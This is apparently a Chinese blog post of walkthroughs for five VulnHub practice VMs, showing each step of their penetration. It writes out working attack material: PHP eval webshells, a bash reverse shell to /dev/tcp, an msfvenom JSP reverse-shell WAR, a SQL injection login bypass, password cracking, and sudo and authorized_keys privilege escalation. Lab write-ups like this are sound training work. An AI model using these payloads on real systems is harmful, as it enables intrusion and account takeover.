渗透学习入门-VulnHub自闭之旅

开始学点更有意思的,从 VlunHub 开始刷刷吧。

所有靶场环境来源:https://www.vulnhub.com/

Me and My Girlfriend: 1

记录一下踩到的坑吧,一开始一直找不到 IP 地址,后来尝试在自己的另外一台虚拟机里面 ifconfig 看看网段,再用 Nmap 找了一下。(要用 NAT 模式,改完之后要重启)

可以发现这两个 IP,上面的是👴的虚拟机的 IP,那么下面那个就是靶机的 IP 了,而且可以发现只有它开启了 http 与 ssh 服务:

进入页面,页面回显:Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

XFF 改一下 127.0.0.1 进入。发现存在 login 与 register,先随便注册一个账号,发现 id 从 12 开始:

尝试修改 id,发现存在越权漏洞:(可以推测后台代码为:selct * from user where id = intval($_GET['id']);

SL~LFWIE20__5MHIR6O4U_7.png

可以爆破一下前 11 个 id 得到用户名和密码表:

id 用户名 密码
1 eweuhtandingan skuyatuh
2 aingmaung qwerty!!!
3 sundatea indONEsia
4 sedihaingmah cedihhihihi
5 alice 4lic3
9 abdikasepak dorrrrr
12 Du1 Du1

ssh 连接,每个账号都试一遍,最后发现 alice 成功登上:(其实在题目描述里面也提到了 Alice,也算是一个暗示吧)

先到处看看,获取到 flag1,继续往下看。

发现 /var/www/html/config/config.php 中的这一句:$conn = mysqli_connect('localhost', 'root', 'ctf_pasti_bisa', 'ceban_corp')。好家伙,数据库是 root 用户,直接 su root 登一波,发现 flag2

Billu_b0x

Nmap 扫描一下端口及服务:

1
2
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

访问一下 http 服务,发现是一个登陆页面,提示说 “Show me your SQLI skills”,应该是要 sql 注入。

扫一下,得到一些页面:

1
2
3
4
5
6
7
8
9
10
11
12
[07:43:17] 200 -  307B  - /add
[07:43:19] 200 - 1B - /c
[07:43:21] 200 - 1KB - /images/
[07:43:21] 200 - 3KB - /index
[07:43:21] 200 - 3KB - /index.php
[07:43:21] 200 - 47KB - /in
[07:43:22] 302 - 2KB - /panel -> index.php
[07:43:22] 302 - 2KB - /panel.php -> index.php
[07:43:23] 200 - 8KB - /phpmy/
[07:43:23] 200 - 1B - /show
[07:43:24] 200 - 72B - /test
[07:43:24] 200 - 72B - /test.php

在 test.php 发现任意文件下载:

1
2
/POST http://192.168.237.134/test.php
file=/etc/passwd

可以把所有页面的源码下载下来:

  • add.php 是一个无法使用功能的上传页面
  • in.php 里是 phpinfo,没有有用信息
  • c.php 是数据库连接文件,发现 $conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");,从而知道数据库连接的用户名密码
  • /etc/passwd 中有一个 id 为 1000 的用户,名为 ica

访问 phpmy,用我们获得的数据库密码去登录访问。

获取到 index.php 中登陆的用户名与密码。

1
2
biLLu
hEx_it

进入。

panel.php 中存在任意文件包含:

1
2
3
4
5
if(isset($_POST['continue'])) {
if ($choice==='add') {}
if ($choice==='show') {}
else include($dir.'/'.$_POST['load']);
}

再看一下 upload 的上传逻辑吧:

1
2
3
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if (in_array($r,$image)) {}

那就直接写个 <?php @eval($_POST["Du1"]);phpinfo(); ?> 的🐎,后缀改下 png,传上去包含一下就 ok 了:

反弹一下 shell,然后怎么都反弹不回,很烦,所以直接写个🐎到 upload_images 里面:echo%20'<?php%20eval($_POST["Du1"]);?>'%20>%20uploaded_images/1.php,蚁剑连上:(uploaded_images 有写权限)

uname -acat /etc/issue 查看内核及系统版本,寻找提权 exp:https://www.exploit-db.com/exploits/37292/

然后传上去:

1
2
3
chmod 777 exp.c  # 赋予权限
gcc exp.c -o exp # 编译
./exp # 执行,提权至 root

登录那里其实还有另一种解法:之前提到过 sql 注入,我们可以审计一下 index.php 源码:

1
2
3
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';

很简单的过滤,把单引号去掉,我们用 \ 逃逸掉就 ok 了:ps=\&un=or 1=1 #

对于 root 的话,还有一个点,就是 phpmyadmin 的配置文件读取:/var/www/phpmy/config.inc.php

1
2
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';

直接拿到 root 密码。


注:

  • 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件,也可以利用Ubuntu已知漏洞本地提权
  • MySQL 有可能被高线程目录暴破和注入宕机

Breach1.0

注:

VM 虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为 host-only 方式组网。

具体方法:点开网络适配器,配置 vm net1 -> 属性 -> TCP/IPV4 -> ip:

1
2
3
192.168.110.1
255.255.255.0
192.168.110.254

Nmap 扫一下发现它把所有端口都开放了(可以用 -sF 绕过防探测策略)……我们直接访问 http。在 http://192.168.110.140/impresscms/user.php 可以登录 cms。

在 index 注释中找到一段 Base64:

1
2
3
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh
pgibbons:damnitfeel$goodtobeagang$ta

获得用户名与密码,登录。

Inbox 中有三封邮件,在第三封邮件中发现 http://192.168.110.140/.keystore 存在一个 SSL certificate。View Account 中的 Content 有一个 SSL implementation test capture,发现流量包 http://192.168.110.140/impresscms/_SSL_test_phase1.pcap,同时获取到提示:`They told me the alias, storepassword and keypassword are all set to ‘tomcat’.`,提示了别名、存储密码和密钥密码都设置为 tomcat。

利用 JDK 的 keytool.exe 解密,首先查看 keystore 中的所有证书:

keytool -list -keystore ./keystore:(密钥库口令 tomcat)

从密钥库中导出 .p12 证书,将 keystore 拷贝到 keytool 目录,导出名为 tomcatkeystore.p12 的证书:

keytool -importkeystore -srckeystore ./keystore -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

然后将 .p12 证书导入打开了流量包的 WireShark:编辑 -> 首选项 -> Protocols -> TLS -> EDIT(最新版 WireShark 已经把 SSL改为 TLS,其实 SSL/TLS 都已统称通信加密协议,所以就放一块了)

1
192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat

因为 8443 是 tomcat 打开 SSL 的文本服务的默认端口

至此成功解密流量,分析可以发现其中存在 jsp 木马的流量,以及采用 http basic 认证登录后台的流量,经过 Base64 解密后得到 tomcat 用户名及密码

1
tomcat:Tt\5D8F(#!*u=G)4m7zB

访问 https://192.168.110.140:8443/_M@nag3Me/html,如果登录不成功可以尝试 BP 发包(因为最新版浏览器如果没有相应证书会有限制,但是 BP 中有各种证书,挂个 BP 代理就上了)

可以上传包含 jsp 马的 war 包,利用 msf 直接生成:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.100 LPORT=2333 -f war > shell.war,在 msf 上设置一个监听,然后直接传马访问:(弹回来的 shell 要等巨 JB 久,👴是要放弃的时候突然发现,欸,怎么 connect 了)

~_G_QMR9_8RRP1MXL_V@N_3.jpg

此时拿到了 shell 了,可以用 python 来获取交互式 shell:python -c 'import pty;pty.spawn("/bin/bash")'

查看一下系统用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
tomcat6:x:104:112::/usr/share/tomcat6:/bin/false
colord:x:105:114:colord colour management daemon,,,:/var/lib/colord:/bin/false
mysql:x:106:116:MySQL Server,,,:/nonexistent:/bin/false
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash

有两个用户很有意思:milton & blumbergh(它俩都有 /bin/bash)。可以在 /var/www/5446 中发现两个有趣的 php 文件:

我们查看一下,里面有数据库用户 root 的信息:

密码为空,我们直接用 mysql -uroot -p 就可以登入:

1
2
3
show databases;
use mysql;
select user,password from user;

得到用户密码表:

user password
root
milton 6450d89bd3aff1d893b85d3ad65d2ec2
root
root
debian-sys-maint *A9523939F1B2F3E72A4306C34F225ACF09590878

得到 milton 的密码 hash 为 6450d89bd3aff1d893b85d3ad65d2ec2,经解密得到:thelaststraw,彳亍… su milton,再输入密码,这样就提权到 milton 了。在历史命令中发现有 su 到 blumbergh 用户,寻找 blumbergh 用户密码。

http://192.168.110.140/images/bill.png 的 exif 中存在某神秘字符串 coffeestains,尝试作为 blumbergh 用户密码登录。成功登录,查看一下权限:

可以发现 /usr/share/cleanup/tidyup.sh 没有写入权限,但是可以用 root 权限执行 tee 命令把反弹 shell 命令写入然后执行。(tee命令用于读取标准输入的数据,并将其内容输出成文件)

看一下 tidyup.sh 里面是啥吧:

1
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

每隔三分钟就会清理 webapps 目录下的所有文件,所以之前传的🐎如果不反弹 shell 的话很快就会被删掉。

接下来就是写入命令弹 shell 了:(同时另外开一个 terminal 来接受 shell)

可以发现我们已经提权至了 root,后面 flag 什么的便不重要了。

Five86-1

Nmap 扫一下。

U_MH_Q9JAM05PC__GW77DJ5.png

10000 端口开了个 Webmin httpd 1.920,可以搜一下有无 exp。(Webmin 是一个很好的 UNIX web 管理)

robots.txt 里发现 /ona 路由,访问一下,发现是 OpenNetAdmin,搜一下有无 exp:

把 exp 复制出来丢到 msf 里面,直接打一发:

cp /usr/share/exploitdb/exploits/php/webapps/47772.rb /usr/share/metasploit-framework/modules/exploits

2VVE3EMW08WLWS__PGPW_Z9.png

在家目录里面发现提示:

douglas 用户的密码由 aefhrt 构成十位,可以爆破:

1
2
3
crunch 10 10 aefhrt > passwd
echo 'douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1' > 1.txt
john --wordlist=passwd 1.txt

要爆很久,爆出来密码为:fatherrrrr,登录一波:

sudo -l 发现可以以 jen 的身份执行 cp 命令:

所以我们可以写入 jen 的 authorized_keys 来包含 douglas 的公钥,从而直接用 douglas 的 id_rsa 免密 ssh 登录 jen,因为 jen 没有权限访问 douglas,而 douglas 也亦然,所以先丢到 /tmp,再转。

1
2
3
4
cp ~/.ssh/id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/
ssh -i id_rsa jen@127.0.0.1

还可以发现一个 mail,看一下:

获取到了 moss 用户的密码,登上:

家目录里面发现 .games/ 里面有提升权限的文件,直接执行:

获得 root 权限:

root 里面轻取 flag:

Five86-2

Nmap 扫:

无法加载的话可以尝试在 C:\Windows\System32\drivers\etc\hosts 添加一条 192.168.237.138 five86-2(靶机 IP 自改)。

是 WordPress 框架,用 wpscan 爆破用户名:wpscan --url "http://192.168.237.138" -e u

1
2
3
4
5
peter
admin
barney
stephen
gillian

然后使用 kali 自带的 rockyou.txt 爆一下密码:(rockyou.txt 是由 rockyou.txt.gz 解压而来)(爆你🐎一年)

wpscan --url "http://192.168.237.138" -U user.txt -P /usr/share/wordlists/rockyou.txt

爆出来两对:

1
2
Username: barney, Password: spooky1
Username: stephen, Password: apollo1

可以利用 https://www.freebuf.com/vuls/205735.html,插件传马。

包含 111.php 与 index.html,111.php反弹一个 shell:

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.237.253/2333 0>&1'");phpinfo(); ?>

利用之前爆出来的账户密码(stephen:apollo1)提权。

1
2
su stephen
python3 -c 'import pty;pty.spawn("/bin/bash")'

ps -auxwww 看一下跑的进程。

发现 paul 用户跑了个 ftp 上传的脚本。tcpdump 发现有多张网卡,尝试监听来获取用户名密码。


tcpdump 常用参数及使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-c:指定要抓取的包数量。

-i interface:指定tcpdump需要监听的接口。默认会抓取第一个网络接口

-n:对地址以数字方式显式,否则显式为主机名,也就是说-n选项不做主机名解析。

-nn:除了-n的作用外,还把端口显示为数值,否则显示端口服务名。

-P:指定要抓取的包是流入还是流出的包。可以给定的值为"in"、"out"和"inout",默认为"inout"。

-D:列出可用于抓包的接口。将会列出接口的数值编号和接口名,它们都可以用于"-i"后。

-F:从文件中读取抓包的表达式。若使用该选项,则命令行中给定的其他表达式都将失效。

-w:将抓包数据输出到文件中而不是标准输出。可以同时配合"-G" "time" 选项使得输出文件每time秒就自动切换到另一个文件。可通过"-r"选项载入这些文件以进行分析和打印。

-r:从给定的数据包文件中读取数据。使用"-"表示从标准输入中读取。

我他马,真的烦si。抄一波师傅们的答案算了:paul:esomepasswford

sudo -l 发现可以以 peter 身份执行 service,我们直接 sudo -u peter service ../../bin/bash 提权:

sudo -l ,直接 passwd 改 root 密码:

完事。

其它

Nmap 相关

1
2
-sT -sS: 隐秘的TCP连接扫面,很可靠
-A: 详细扫描